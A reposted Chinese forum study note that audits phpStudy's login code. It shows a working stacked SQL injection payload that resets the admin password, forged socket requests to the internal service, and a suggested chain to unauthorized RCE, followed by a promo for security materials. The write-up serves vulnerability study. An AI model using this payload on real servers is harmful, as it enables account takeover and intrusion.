小皮1-click漏洞的代码审计学习笔记

打印 上一主题 下一主题

主题 977|帖子 977|积分 2931

漏洞简介

漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。
环境搭建

windows 上实际操作了一下,不方便进行分析
于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码
wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh​
修改代码 web/service/app/account.php​ 中登录的部分
  1. if($type=='login'){
  2.     $username = post('username');
  3.     $pwd = post('password');
  4.     $verifycode = post('verifycode');
  5.     $res = Account::login($username,$pwd,$verifycode);
  6.     xpexit(json_encode($res));
  7. }
复制代码
  ​[img=720,314.93810178817057]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434388.png[/img]
打开代码 /usr/local/phpstudy/web/service/app/account.php​ 修改代码
  ​[img=720,295.51020408163265]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434390.png[/img]​
漏洞复现

windows

在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果
  1. import hashlib
  2. str = "123456"
  3. for i in range(0,5):
  4.    str = hashlib.md5(str.encode()).hexdigest()
  5. print(str)
复制代码
  ‍
  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码
  ​[img=720,313.13505607020966]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434391.png[/img]​
虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS) ‍
Linux

在用户登录处构造 payload
  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码
  ​
错误类型并不相同,但也成功的将密码修改
漏洞分析

[img=720,76.95461200585652]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434393.png[/img]​
查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090
9080 对应的是 web 端的信息 8090 对应的是二进制程序
  ​[img=720,77.6940133037694]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434394.png[/img]​
外部访问不到 8090 端口 只能再内部构造数据进行通信
  ​[img=720,48.87417218543046]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434395.png[/img]​
项目的代码在 /usr/local/phpstudy/web​
web/service/app/account.php​
  ​[img=720,315.8677685950413]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434396.png[/img]​
web/service/app/model/Account.php​
  ​[img=720,453.9789473684211]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434397.png[/img]
通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理
  ​[img=720,359.8481653310839]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434398.png[/img]
我们可以根据代码逻辑伪造 socket 请求
  1. {"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
复制代码
  ​[img=720,87.70017035775128]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434399.png[/img]
利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433​ 监控 phpstudy 的进程,发送错误的payload
  1. {"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
复制代码
  ​[img=720,160.71690427698573]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434400.png[/img]​
获取到登录时对应的 SQL 语句
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
复制代码
根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。
这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名
  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码
拼接到 SQL 语句中就为
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
复制代码
最终执行的 SQL 语句为
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';
复制代码
将用户 admin 的 密码修改为了 123456
再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。
第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误
  ​[img=720,325.06090373280944]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434401.png[/img]​
输入构造的 payload
      [img=720,320.4689331770223]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434402.png[/img]​
再次利用 admin/123456 登录成功,用户的密码已经被修改
  ​[img=720,322.7294117647059]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434403.png[/img]
  ​[img=720,381.7071260767424]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202304041434404.png[/img]
更多靶场实验练习、网安学习资料,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立山

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表